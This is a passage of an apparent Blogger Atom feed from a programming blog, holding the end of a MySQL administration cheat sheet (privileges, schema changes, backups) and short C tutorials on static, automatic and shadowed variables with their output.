privs.&lt;/h4&gt;&lt;div class="command"&gt;# mysql -u root -p&lt;br /&gt;mysql&amp;gt; use mysql;&lt;br /&gt;mysql&amp;gt; grant usage on *.* to bob@localhost identified by 'passwd';&lt;br /&gt;mysql&amp;gt; flush privileges; &lt;/div&gt;&lt;h4&gt;Give user privilages for a db. Login as root. Switch to the MySQL db. Grant privs. Update privs. &lt;/h4&gt;&lt;div class="command"&gt;# mysql -u root -p&lt;br /&gt;mysql&amp;gt; use mysql;&lt;br /&gt;mysql&amp;gt; INSERT INTO db (Host,Db,User,Select_priv,Insert_priv,Update_priv,Delete_priv,Create_priv,Drop_priv) VALUES ('%','databasename','username','Y','Y','Y','Y','Y','N');&lt;br /&gt;mysql&amp;gt; flush privileges; &lt;br /&gt;&lt;br /&gt;or &lt;br /&gt;&lt;br /&gt;mysql&amp;gt; grant all privileges on databasename.* to username@localhost;&lt;br /&gt;mysql&amp;gt; flush privileges; &lt;/div&gt;&lt;h4&gt;To update info already in a table.&lt;/h4&gt;&lt;div class="command"&gt;mysql&amp;gt; UPDATE [table name] SET Select_priv = 'Y',Insert_priv = 'Y',Update_priv = 'Y' where [field name] = 'user';&lt;/div&gt;&lt;h4&gt;Delete a row(s) from a table.&lt;/h4&gt;&lt;div class="command"&gt;mysql&amp;gt; DELETE from [table name] where [field name] = 'whatever';&lt;/div&gt;&lt;h4&gt;Update database permissions/privilages.&lt;/h4&gt;&lt;div class="command"&gt;mysql&amp;gt; flush privileges;&lt;/div&gt;&lt;h4&gt;Delete a column.&lt;/h4&gt;&lt;div class="command"&gt;mysql&amp;gt; alter table [table name] drop column [column name];&lt;/div&gt;&lt;h4&gt;Add a new column to db.&lt;/h4&gt;&lt;div class="command"&gt;mysql&amp;gt; alter table [table name] add column [new column name] varchar (20);&lt;/div&gt;&lt;h4&gt;Change column name.&lt;/h4&gt;&lt;div class="command"&gt;mysql&amp;gt; alter table [table name] change [old column name] [new column name] varchar (50);&lt;/div&gt;&lt;h4&gt;Make a unique column so you get no dupes.&lt;/h4&gt;&lt;div class="command"&gt;mysql&amp;gt; alter table [table name] add unique ([column name]);&lt;/div&gt;&lt;h4&gt;Make a column bigger.&lt;/h4&gt;&lt;div class="command"&gt;mysql&amp;gt; alter table [table name] modify [column name] VARCHAR(3);&lt;/div&gt;&lt;h4&gt;Delete unique from table.&lt;/h4&gt;&lt;div class="command"&gt;mysql&amp;gt; alter table [table name] drop index [colmn name];&lt;/div&gt;&lt;h4&gt;Load a CSV file into a table.&lt;/h4&gt;&lt;div class="command"&gt;mysql&amp;gt; LOAD DATA INFILE '/tmp/filename.csv' replace INTO TABLE [table name] FIELDS TERMINATED BY ',' LINES TERMINATED BY '\n' (field1,field2,field3);&lt;/div&gt;&lt;h4&gt;Dump all databases for backup. Backup file is sql commands to recreate all db's.&lt;/h4&gt;&lt;div class="command"&gt;# [mysql dir]/bin/mysqldump -u root -ppassword --opt &amp;gt;/tmp/alldatabases.sql&lt;/div&gt;&lt;h4&gt;Dump one database for backup.&lt;/h4&gt;&lt;div class="command"&gt;# [mysql dir]/bin/mysqldump -u username -ppassword --databases databasename &amp;gt;/tmp/databasename.sql&lt;/div&gt;&lt;h4&gt;Dump a table from a database.&lt;/h4&gt;&lt;div class="command"&gt;# [mysql dir]/bin/mysqldump -c -u username -ppassword databasename tablename &amp;gt; /tmp/databasename.tablename.sql&lt;/div&gt;&lt;h4&gt;Restore database (or database table) from backup.&lt;/h4&gt;&lt;div class="command"&gt;# [mysql dir]/bin/mysql -u username -ppassword databasename &amp;lt; /tmp/databasename.sql &lt;/div&gt;&lt;h4&gt;Create Table Example 1.&lt;/h4&gt;&lt;div class="command"&gt;mysql&amp;gt; CREATE TABLE [table name] (firstname VARCHAR(20), middleinitial VARCHAR(3), lastname VARCHAR(35),suffix VARCHAR(3),officeid VARCHAR(10),userid VARCHAR(15),username VARCHAR(8),email VARCHAR(35),phone VARCHAR(25), groups VARCHAR(15),datestamp DATE,timestamp time,pgpemail VARCHAR(255)); &lt;/div&gt;&lt;h4&gt;Create Table Example 2.&lt;/h4&gt;&lt;div class="command"&gt;mysql&amp;gt; create table [table name] (personid int(50) not null auto_increment primary key,firstname varchar(35),middlename varchar(50),lastnamevarchar(50) default 'bato');&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3313246643998194674-1072909311964781208?l=geekcodes.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/1072909311964781208'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/1072909311964781208'/><link rel='alternate' type='text/html' href='http://geekcodes.blogspot.com/2012/01/mysql-server-list-commands.html' title='MYSQL SERVER LIST COMMANDS'/><author><name>zepz</name><uri>http://www.blogger.com/profile/04097554525631283833</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='33' height='26' src='http://2.bp.blogspot.com/_kDKFqsqzl0I/SYFBoti8zUI/AAAAAAAAACA/2wFAzLZyzHs/S220/1.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-3313246643998194674.post-3282245535333362051</id><published>2011-10-05T01:12:00.001-07:00</published><updated>2011-10-05T01:12:51.750-07:00</updated><title type='text'>Static versus automatic variables</title><content type='html'>&lt;div class="codeShade"&gt;&lt;code&gt;&lt;span style="color: black;"&gt;#include&amp;nbsp;&amp;lt;stdio.h&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: #7f0055;"&gt;&lt;b&gt;void&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;span style="color: black;"&gt;test1&lt;/span&gt;&lt;span style="color: black;"&gt;(&lt;/span&gt;&lt;span style="color: #7f0055;"&gt;&lt;b&gt;void&lt;/b&gt;&lt;/span&gt;&lt;span style="color: black;"&gt;){&lt;/span&gt;&lt;br /&gt;&lt;span style="color: white;"&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #7f0055;"&gt;&lt;b&gt;int&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;span style="color: black;"&gt;count&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span style="color: #990000;"&gt;0&lt;/span&gt;&lt;span style="color: black;"&gt;;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: white;"&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: black;"&gt;printf&lt;/span&gt;&lt;span style="color: black;"&gt;(&lt;/span&gt;&lt;span style="color: #2a00ff;"&gt;"\ntest1&amp;nbsp;&amp;nbsp;&amp;nbsp;count&amp;nbsp;=&amp;nbsp;%d&amp;nbsp;"&lt;/span&gt;&lt;span style="color: black;"&gt;,&amp;nbsp;++count&amp;nbsp;&lt;/span&gt;&lt;span style="color: black;"&gt;)&lt;/span&gt;&lt;span style="color: black;"&gt;;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: black;"&gt;}&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: #7f0055;"&gt;&lt;b&gt;void&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;span style="color: black;"&gt;test2&lt;/span&gt;&lt;span style="color: black;"&gt;(&lt;/span&gt;&lt;span style="color: #7f0055;"&gt;&lt;b&gt;void&lt;/b&gt;&lt;/span&gt;&lt;span style="color: black;"&gt;){&lt;/span&gt;&lt;br /&gt;&lt;span style="color: white;"&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #7f0055;"&gt;&lt;b&gt;static&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;span style="color: #7f0055;"&gt;&lt;b&gt;int&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;span style="color: black;"&gt;count&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span style="color: #990000;"&gt;0&lt;/span&gt;&lt;span style="color: black;"&gt;;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: white;"&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: black;"&gt;printf&lt;/span&gt;&lt;span style="color: black;"&gt;(&lt;/span&gt;&lt;span style="color: #2a00ff;"&gt;"\ntest2&amp;nbsp;&amp;nbsp;&amp;nbsp;count&amp;nbsp;=&amp;nbsp;%d&amp;nbsp;"&lt;/span&gt;&lt;span style="color: black;"&gt;,&amp;nbsp;++count&amp;nbsp;&lt;/span&gt;&lt;span style="color: black;"&gt;)&lt;/span&gt;&lt;span style="color: black;"&gt;;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: black;"&gt;}&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: #7f0055;"&gt;&lt;b&gt;int&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;span style="color: black;"&gt;main&lt;/span&gt;&lt;span style="color: black;"&gt;(&lt;/span&gt;&lt;span style="color: #7f0055;"&gt;&lt;b&gt;void&lt;/b&gt;&lt;/span&gt;&lt;span style="color: black;"&gt;)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: black;"&gt;{&lt;/span&gt;&lt;br /&gt;&lt;span style="color: white;"&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #7f0055;"&gt;&lt;b&gt;int&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;span style="color: black;"&gt;i;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: white;"&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #7f0055;"&gt;&lt;b&gt;for&lt;/b&gt;&lt;/span&gt;&lt;span style="color: black;"&gt;(&lt;/span&gt;&lt;span style="color: black;"&gt;i&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span style="color: #990000;"&gt;0&lt;/span&gt;&lt;span style="color: black;"&gt;;&amp;nbsp;i&amp;nbsp;&amp;lt;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #990000;"&gt;5&lt;/span&gt;&lt;span style="color: black;"&gt;;&amp;nbsp;i++&amp;nbsp;&lt;/span&gt;&lt;span style="color: black;"&gt;)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: white;"&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: black;"&gt;{&lt;/span&gt;&lt;br /&gt;&lt;span style="color: white;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: black;"&gt;test1&lt;/span&gt;&lt;span style="color: black;"&gt;()&lt;/span&gt;&lt;span style="color: black;"&gt;;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: white;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: black;"&gt;test2&lt;/span&gt;&lt;span style="color: black;"&gt;()&lt;/span&gt;&lt;span style="color: black;"&gt;;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: white;"&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: black;"&gt;}&lt;/span&gt;&lt;br /&gt;&lt;span style="color: white;"&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #7f0055;"&gt;&lt;b&gt;return&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;span style="color: #990000;"&gt;0&lt;/span&gt;&lt;span style="color: black;"&gt;;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: black;"&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/div&gt;&lt;div class="codeShade"&gt;&lt;code&gt;&lt;span style="color: black;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/code&gt;&lt;/div&gt;&lt;div class="codeShade"&gt;&lt;code&gt;&lt;span style="color: black;"&gt;&lt;span style="font-size: x-large;"&gt;&lt;b&gt;OUTPUT&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/div&gt;&lt;div class="codeShade"&gt;&lt;code&gt;&lt;span style="color: black;"&gt;&lt;span style="font-size: x-large;"&gt;&lt;b&gt;------------------------------&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/div&gt;&lt;div class="codeShade"&gt;&lt;code&gt;&lt;span style="color: black;"&gt;&lt;span style="font-size: x-large;"&gt;&lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/div&gt;&lt;div class="codeShade"&gt;&lt;pre class="codeResult"&gt;test1   count = 1&lt;br /&gt;     test2   count = 1&lt;br /&gt;     test1   count = 1&lt;br /&gt;     test2   count = 2&lt;br /&gt;     test1   count = 1&lt;br /&gt;     test2   count = 3&lt;br /&gt;     test1   count = 1&lt;br /&gt;     test2   count = 4&lt;br /&gt;     test1   count = 1&lt;br /&gt;     test2   count = 5&lt;/pre&gt;&lt;code&gt;&lt;span style="color: black;"&gt;&lt;span style="font-size: x-large;"&gt;&lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;/span&gt; &lt;/span&gt;&lt;/code&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3313246643998194674-3282245535333362051?l=geekcodes.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/3282245535333362051'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/3282245535333362051'/><link rel='alternate' type='text/html' href='http://geekcodes.blogspot.com/2011/10/static-versus-automatic-variables.html' title='Static versus automatic variables'/><author><name>zepz</name><uri>http://www.blogger.com/profile/04097554525631283833</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='33' height='26' src='http://2.bp.blogspot.com/_kDKFqsqzl0I/SYFBoti8zUI/AAAAAAAAACA/2wFAzLZyzHs/S220/1.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-3313246643998194674.post-5936508310070511815</id><published>2011-10-05T01:10:00.000-07:00</published><updated>2011-10-05T01:10:39.219-07:00</updated><title type='text'>Static variable</title><content type='html'>&lt;div class="codeShade"&gt;&lt;code&gt;&lt;span style="color: black;"&gt;#include&amp;nbsp;&amp;lt;stdio.h&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: #7f0055;"&gt;&lt;b&gt;int&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;span style="color: black;"&gt;g&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span style="color: #990000;"&gt;10&lt;/span&gt;&lt;span style="color: black;"&gt;;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: black;"&gt;main&lt;/span&gt;&lt;span style="color: black;"&gt;(){&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: white;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #7f0055;"&gt;&lt;b&gt;int&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;span style="color: black;"&gt;i&amp;nbsp;=&lt;/span&gt;&lt;span style="color: #990000;"&gt;0&lt;/span&gt;&lt;span style="color: black;"&gt;;&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: white;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #7f0055;"&gt;&lt;b&gt;void&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;span style="color: black;"&gt;f1&lt;/span&gt;&lt;span style="color: black;"&gt;()&lt;/span&gt;&lt;span style="color: black;"&gt;;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: white;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: black;"&gt;f1&lt;/span&gt;&lt;span style="color: black;"&gt;()&lt;/span&gt;&lt;span style="color: black;"&gt;;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: white;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: black;"&gt;printf&lt;/span&gt;&lt;span style="color: black;"&gt;(&lt;/span&gt;&lt;span style="color: #2a00ff;"&gt;"&amp;nbsp;after&amp;nbsp;first&amp;nbsp;call&amp;nbsp;\n"&lt;/span&gt;&lt;span style="color: black;"&gt;)&lt;/span&gt;&lt;span style="color: black;"&gt;;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: white;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: black;"&gt;f1&lt;/span&gt;&lt;span style="color: black;"&gt;()&lt;/span&gt;&lt;span style="color: black;"&gt;;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: white;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: black;"&gt;printf&lt;/span&gt;&lt;span style="color: black;"&gt;(&lt;/span&gt;&lt;span style="color: #2a00ff;"&gt;"after&amp;nbsp;second&amp;nbsp;call&amp;nbsp;\n"&lt;/span&gt;&lt;span style="color: black;"&gt;)&lt;/span&gt;&lt;span style="color: black;"&gt;;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: white;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: black;"&gt;f1&lt;/span&gt;&lt;span style="color: black;"&gt;()&lt;/span&gt;&lt;span style="color: black;"&gt;;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: white;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: black;"&gt;printf&lt;/span&gt;&lt;span style="color: black;"&gt;(&lt;/span&gt;&lt;span style="color: #2a00ff;"&gt;"after&amp;nbsp;third&amp;nbsp;call&amp;nbsp;\n"&lt;/span&gt;&lt;span style="color: black;"&gt;)&lt;/span&gt;&lt;span style="color: black;"&gt;;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: black;"&gt;}&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #7f0055;"&gt;&lt;b&gt;void&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;span style="color: black;"&gt;f1&lt;/span&gt;&lt;span style="color: black;"&gt;()&lt;/span&gt;&lt;br /&gt;&lt;span style="color: black;"&gt;{&lt;/span&gt;&lt;br /&gt;&lt;span style="color: white;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #7f0055;"&gt;&lt;b&gt;static&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;span style="color: #7f0055;"&gt;&lt;b&gt;int&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;span style="color: black;"&gt;k=&lt;/span&gt;&lt;span style="color: #990000;"&gt;0&lt;/span&gt;&lt;span style="color: black;"&gt;;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: white;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #7f0055;"&gt;&lt;b&gt;int&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;span style="color: black;"&gt;j&amp;nbsp;=&amp;nbsp;&lt;/span&gt;&lt;span style="color: #990000;"&gt;10&lt;/span&gt;&lt;span style="color: black;"&gt;;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: white;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: black;"&gt;printf&lt;/span&gt;&lt;span style="color: black;"&gt;(&lt;/span&gt;&lt;span style="color: #2a00ff;"&gt;"value&amp;nbsp;of&amp;nbsp;k&amp;nbsp;%d&amp;nbsp;j&amp;nbsp;%d"&lt;/span&gt;&lt;span style="color: black;"&gt;,k,j&lt;/span&gt;&lt;span style="color: black;"&gt;)&lt;/span&gt;&lt;span style="color: black;"&gt;;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: white;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: black;"&gt;k=k+&lt;/span&gt;&lt;span style="color: #990000;"&gt;10&lt;/span&gt;&lt;span style="color: black;"&gt;;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: black;"&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/div&gt;&lt;div class="codeShade"&gt;&lt;code&gt;&lt;span style="color: black;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/code&gt;&lt;/div&gt;&lt;div class="codeShade"&gt;&lt;code&gt;&lt;span style="color: black;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/code&gt;&lt;/div&gt;&lt;div class="codeShade"&gt;&lt;code&gt;&lt;span style="color: black;"&gt;&lt;span style="font-size: x-large;"&gt;&lt;b&gt;OUTPUT&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/div&gt;&lt;div class="codeShade"&gt;&lt;code&gt;&lt;span style="color: black;"&gt;&lt;span style="font-size: x-large;"&gt;&lt;b&gt;&amp;nbsp;--------------------------------&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/div&gt;&lt;div class="codeShade"&gt;&lt;code&gt;&lt;span style="color: black;"&gt;&lt;span style="font-size: x-large;"&gt;&lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/div&gt;&lt;div class="codeShade"&gt;&lt;pre class="codeResult"&gt;value of k 0 j 10 after first call&lt;br /&gt;      value of k 10 j 10after second call&lt;br /&gt;      value of k 20 j 10after third call&lt;/pre&gt;&lt;code&gt;&lt;span style="color: black;"&gt;&lt;span style="font-size: x-large;"&gt;&lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;/span&gt; &lt;/span&gt;&lt;/code&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3313246643998194674-5936508310070511815?l=geekcodes.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/5936508310070511815'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/5936508310070511815'/><link rel='alternate' type='text/html' href='http://geekcodes.blogspot.com/2011/10/static-variable.html' title='Static variable'/><author><name>zepz</name><uri>http://www.blogger.com/profile/04097554525631283833</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='33' height='26' src='http://2.bp.blogspot.com/_kDKFqsqzl0I/SYFBoti8zUI/AAAAAAAAACA/2wFAzLZyzHs/S220/1.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-3313246643998194674.post-7600243639549801757</id><published>2011-10-05T01:08:00.001-07:00</published><updated>2011-10-05T01:13:28.583-07:00</updated><title type='text'>static Variables</title><content type='html'>&lt;a href="http://geekcodes.blogspot.com/2011/10/static-variable.html"&gt;Static variable&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://geekcodes.blogspot.com/2011/10/static-versus-automatic-variables.html"&gt;Static versus automatic variables&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3313246643998194674-7600243639549801757?l=geekcodes.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/7600243639549801757'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/7600243639549801757'/><link rel='alternate' type='text/html' href='http://geekcodes.blogspot.com/2011/10/static-variables.html' title='static Variables'/><author><name>zepz</name><uri>http://www.blogger.com/profile/04097554525631283833</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='33' height='26' src='http://2.bp.blogspot.com/_kDKFqsqzl0I/SYFBoti8zUI/AAAAAAAAACA/2wFAzLZyzHs/S220/1.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-3313246643998194674.post-4868722043188502251</id><published>2011-10-05T01:06:00.000-07:00</published><updated>2011-10-05T01:06:33.133-07:00</updated><title type='text'>Local variable shadows global variable.</title><content type='html'>&lt;div class="codeShade"&gt;&lt;code&gt;&lt;span style="color: black;"&gt;#include&amp;nbsp;&amp;lt;stdio.h&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: #7f0055;"&gt;&lt;b&gt;int&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;span style="color: black;"&gt;i&amp;nbsp;=&lt;/span&gt;&lt;span style="color: #990000;"&gt;0&lt;/span&gt;&lt;span style="color: black;"&gt;;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #3f7f5f;"&gt;//Global&amp;nbsp;variable&lt;/span&gt;&lt;br /&gt;&lt;span style="color: black;"&gt;main&lt;/span&gt;&lt;span style="color: black;"&gt;(){&lt;/span&gt;&lt;br /&gt;&lt;span style="color: white;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #7f0055;"&gt;&lt;b&gt;int&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;span style="color: black;"&gt;i&amp;nbsp;;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #3f7f5f;"&gt;//&amp;nbsp;local&amp;nbsp;variable&lt;/span&gt;&lt;br /&gt;&lt;span style="color: white;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: #7f0055;"&gt;&lt;b&gt;void&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;span style="color: black;"&gt;f1&lt;/span&gt;&lt;span style="color: black;"&gt;(&lt;/span&gt;&lt;span style="color: #7f0055;"&gt;&lt;b&gt;void&lt;/b&gt;&lt;/span&gt;&lt;span style="color: black;"&gt;)&amp;nbsp;&lt;/span&gt;&lt;span style="color: black;"&gt;;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: white;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: black;"&gt;i&amp;nbsp;=&lt;/span&gt;&lt;span style="color: #990000;"&gt;0&lt;/span&gt;&lt;span style="color: black;"&gt;;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: white;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: black;"&gt;printf&lt;/span&gt;&lt;span style="color: black;"&gt;(&lt;/span&gt;&lt;span style="color: #2a00ff;"&gt;"value&amp;nbsp;of&amp;nbsp;i&amp;nbsp;in&amp;nbsp;main&amp;nbsp;%d\n"&lt;/span&gt;&lt;span style="color: black;"&gt;,i&lt;/span&gt;&lt;span style="color: black;"&gt;)&lt;/span&gt;&lt;span style="color: black;"&gt;;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: white;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: black;"&gt;f1&lt;/span&gt;&lt;span style="color: black;"&gt;()&lt;/span&gt;&lt;span style="color: 